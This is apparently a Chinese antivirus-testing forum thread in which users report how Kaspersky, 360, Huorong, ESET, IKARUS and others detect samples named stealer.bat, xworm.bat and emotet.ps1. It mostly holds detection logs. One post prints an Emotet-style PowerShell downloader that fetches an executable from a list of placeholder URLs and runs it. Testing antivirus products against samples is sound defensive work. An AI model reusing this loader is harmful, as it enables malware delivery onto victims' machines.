x3 (2024-04-10)

petr0vic

莒县小哥

用户类型: 系统用户
应用程序名称: SearchProtocolHost.exe
应用程序路径: C:\Windows\System32
组件: 文件反病毒
结果说明: 检测到
类型: 木马
名称: HEUR:Trojan-Spy.PowerShell.Agent.gen
精确度: 启发式分析
威胁级别: 高
对象类型: 文件
对象名称: stealer.bat
对象路径: C:\Users\Myluj\Downloads
对象的 MD5: 5B0EA5FD65A98B833991F3D421483198
原因: 专家分析
数据库发布日期: 今天，2024/4/10 上午10:55:00

DisaPDB

Qihoo360 1x

1. 时间        操作        说明        次数
   
2. 2024-04-10 17:15:22        [已阻止]          进程创建        防护 1 次
   
3. 详细描述：
   
4. 进程：C:\Windows\System32\cmd.exe
   
5. 动作：进程创建
   
6. 路径：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
   
7. 风险文件：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
   
8. 防护信息: AD|1, 10001|40, 60, 60||
   

复制代码

Yjln

xworm.bat卡巴的漏洞利用好像能拦截

不知起什么名

火绒 xworm.bat1x

瑞星 一个

吃瓜群众第123位

360 miss

DisaPDB

emotet.ps1-Downloader

1. [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
   
2. $downloadDirectory = "$env:userprofile\B20DYak\ovPQHo4"
   
3. $fileExtension = ".exe"
   
4. $fileName = "V9ofyxp"
   
5. $fileUrlList = @(
   
6.     "URL1",
   
7.     "URL2",
   
8.     "URL3"
   
9. )
   
10. New-Item $downloadDirectory -ItemType Directory
    
11. $webClient = New-Object Net.WebClient
    
12. foreach ($url in $fileUrlList) {
    
13.     try {
    
14.         $filePath = Join-Path $downloadDirectory ($fileName + $fileExtension)
    
15.         $webClient.DownloadFile($url, $filePath)
    
16.         Start-Process $filePath
    
17.     }
    
18.     catch {
    
19.         Write-Host "Error downloading or executing file from $url"
    
20.     }
    
21. }
    

复制代码

KeviNPKW

ESSP 2x,剩xworm

Nocria

IKARUS - 1/3

Date and Time:       4/10/2024 9:54:44 PM
File Name:           stealer.bat
Original Path:       C:\Users\promi\Desktop\3
File Size:           19583 b
File Size:           19.12 kB
Detection Name:      Trojan.Bat.Spy
Detection-ID:        5381634
Suggestion:          Backup and Delete